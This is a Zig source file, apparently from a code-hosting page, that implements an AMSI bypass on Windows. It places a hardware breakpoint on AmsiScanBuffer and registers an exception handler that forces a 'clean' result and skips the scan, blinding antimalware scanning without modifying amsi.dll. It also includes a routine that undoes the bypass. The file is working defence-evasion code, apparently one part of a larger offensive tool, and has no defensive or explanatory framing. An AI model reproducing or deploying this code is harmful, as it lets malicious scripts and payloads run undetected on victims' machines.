79 lines
3.0 KiB
Zig
79 lines
3.0 KiB
Zig
// AMSI bypass via hardware breakpoint on AmsiScanBuffer. DR0 breakpoint, VEH handler
|
|
// sets RAX=0 and skips the call. No bytes modified in amsi.dll.
|
|
const std = @import("std");
|
|
const windows = std.os.windows;
|
|
const nt = @import("nt.zig");
|
|
const api = @import("api.zig");
|
|
|
|
var g_veh_handle: ?*anyopaque = null;
|
|
var g_amsi_scan_addr: ?*anyopaque = null;
|
|
|
|
fn amsi_veh_handler(ex: *nt.EXCEPTION_POINTERS) callconv(nt.WINAPI) windows.LONG {
|
|
if (ex.ExceptionRecord.ExceptionCode == nt.EXCEPTION_SINGLE_STEP and
|
|
ex.ExceptionRecord.ExceptionAddress == g_amsi_scan_addr)
|
|
{
|
|
ex.ContextRecord.Rax = 0; // AMSI_RESULT_CLEAN
|
|
const ret_addr = @as(*const usize, @ptrCast(@alignCast(@as(
|
|
*const anyopaque,
|
|
@ptrFromInt(ex.ContextRecord.Rsp),
|
|
)))).*;
|
|
ex.ContextRecord.Rip = ret_addr; // jump to caller's return address
|
|
ex.ContextRecord.Rsp += 8; // pop return address off stack
|
|
return nt.EXCEPTION_CONTINUE_EXECUTION;
|
|
}
|
|
return nt.EXCEPTION_CONTINUE_SEARCH;
|
|
}
|
|
|
|
pub fn patch_amsi() void {
|
|
if (g_veh_handle != null) return;
|
|
api.ensure();
|
|
const load_w = api.amsi_load_library_w orelse return;
|
|
const get_addr = api.amsi_get_proc_address orelse return;
|
|
const veh = api.amsi_add_vectored_exception_handler orelse return;
|
|
const cur_thread = api.amsi_get_current_thread orelse return;
|
|
const set_ctx = api.amsi_set_thread_context orelse return;
|
|
const suspend_thread = api.amsi_suspend_thread orelse return;
|
|
const resume_thread = api.amsi_resume_thread orelse return;
|
|
const amsi = load_w(&[_:0]u16{ 'a', 'm', 's', 'i', '.', 'd', 'l', 'l', 0 });
|
|
if (amsi == null) return;
|
|
g_amsi_scan_addr = get_addr(amsi.?, "AmsiScanBuffer");
|
|
if (g_amsi_scan_addr == null) return;
|
|
g_veh_handle = veh(1, amsi_veh_handler);
|
|
const thread = cur_thread();
|
|
var ctx = std.mem.zeroes(nt.CONTEXT);
|
|
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
|
ctx.Dr0 = @intFromPtr(g_amsi_scan_addr.?);
|
|
ctx.Dr7 = (1 << 0); // enable local breakpoint 0
|
|
_ = suspend_thread(thread);
|
|
_ = set_ctx(thread, &ctx);
|
|
_ = resume_thread(thread);
|
|
}
|
|
|
|
// Remove VEH handler, clear DR0 and DR7.
|
|
pub fn unpatch_amsi() void {
|
|
if (g_veh_handle) |h| {
|
|
if (api.amsi_remove_vectored_exception_handler) |remove| {
|
|
_ = remove(h);
|
|
}
|
|
g_veh_handle = null;
|
|
}
|
|
|
|
if (api.amsi_get_current_thread) |cur_thread| {
|
|
if (api.amsi_set_thread_context) |set_ctx| {
|
|
if (api.amsi_suspend_thread) |suspend_t| {
|
|
if (api.amsi_resume_thread) |resume_t| {
|
|
const thread = cur_thread();
|
|
var ctx = std.mem.zeroes(nt.CONTEXT);
|
|
ctx.ContextFlags = nt.CONTEXT_DEBUG_REGISTERS;
|
|
ctx.Dr0 = 0;
|
|
ctx.Dr7 = 0;
|
|
_ = suspend_t(thread);
|
|
_ = set_ctx(thread, &ctx);
|
|
_ = resume_t(thread);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
g_amsi_scan_addr = null;
|
|
}
|